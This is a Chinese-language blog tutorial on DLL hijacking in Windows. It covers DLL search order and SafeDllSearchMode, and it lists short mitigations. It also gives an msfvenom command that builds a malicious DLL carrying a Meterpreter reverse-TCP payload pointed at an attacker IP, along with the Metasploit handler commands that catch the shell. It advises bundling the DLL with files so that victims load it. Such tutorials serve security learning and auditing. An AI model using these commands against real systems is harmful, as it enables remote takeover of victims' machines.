DLL劫持

版权声明:欢迎提问:[email protected] https://blog.csdn.net/include_heqile/article/details/83476963

dll劫持就是使用自己制作的恶意dll文件伪装成程序正常运行中会用到的dll文件,一般情况下dll劫持攻击利用的是程序缺失的dll文件,因为如果一个应用程序缺失了某个dll文件,并且在此前提下还可以正常运行,那么它就会执行一次搜索(这里有个前提是,程序的源代码中并未明确指定该dll文件的具体路径

windows xp sp2之前(不包括sp2),程序搜索dll文件的顺序是这样的:

1. 进程对应的应用程序所在目录;

2. 当前目录(Current Directory);

3. 系统目录(通过 GetSystemDirectory 获取);

4. 16位系统目录;

5. Windows目录(通过 GetWindowsDirectory 获取);

6. PATH环境变量中的各个目录;

在此之后,windows增加了SafeDllSearchMode安全机制,默认处于开启状态,开启之后的搜索顺序是这样的:

1. 进程对应的应用程序所在目录;

2. 系统目录(通过 GetSystemDirectory 获取);

3. 16位系统目录;

4. Windows目录(通过 GetWindowsDirectory 获取);

5. 当前目录;

6. PATH环境变量中的各个目录;

可以看到当前目录从第2降到了第5

所以我们进行dll劫持的时侯主要采用缺失dll劫持的方式

msfvenom制作恶意dll

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.101.45 LPORT=57124 -a x86 -f dll evil.dll

注意:x86是CPU架构,根据应用程序是32(x86)为还是64(x64)为选择
需要说明的一点是,由msfvenom制作出来的dll文件可能会导致应用程序无法正常启动

因为windows中的大部分文件都有自己的默认关联程序,我们就可以把恶意dll(由msfvenom制作)和文件打包在一起,当用户打开这些文件时,其所关联的应用程序也就执行了,由于该程序缺失了特定的dll文件,就会进行搜索,然后我们的位于当前目录dll文件就会被加载,使用metasploit接受shell即可

msf > use exploit/multi/handler

msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(multi/handler) > set LHOST 192.168.10.145

LHOST => 192.168.10.145

msf exploit(multi/handler) > set LPORT 57124

LPORT => 57124

msf exploit(multi/handler) > exploit

我们可以使用process monitor的过滤器来初步筛选出指定应用程序缺失的dll文件

begin with,我的理解就是从某个目录开始搜索,但是好像有点偏差,因为最后的结果把应用程序所在目录中的缺失dll也显示了出来:

我们之所以排除掉SysWOW64、system32,是因为这两个目录在注册表中有限制,就是说位于这两个目录中的dll文件是直接定位的,没有上面搜索的过程

注册表路径:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

过滤掉Program是因为位于C:\Program Files、C:\Program Files (x86)文件夹中的缺失dll我们无法劫持(一般来说),因为往这两个文件夹中写文件需要管理员权限,而且应用程序所在目录的搜索优先级高于当前目录

还有一点就是,我们要确保最后结果中的dll文件不在注册表的KnownDLLs所列出的那些dll文件中

之后我们就可以针对这些缺失的dll进行劫持,正常情况下,是可以弹回shell

关于dll劫持漏洞审计的一款工具:

metasploit作者编写的DLL Hijack Auditor

下面稍微说一点dll劫持的缓解办法:
 - 在编写程序时,调用SetDllDirectory(L""),把当前目录dll搜索路径中排除,尽量使用DLL的绝对路径
 - 验证dll文件的签名
 - 使用LoadLibraryEx加载DLL时,指定LOAD_LIBRARY_SEARCH_标志

猜你喜欢

转载自blog.csdn.net/include_heqile/article/details/83476963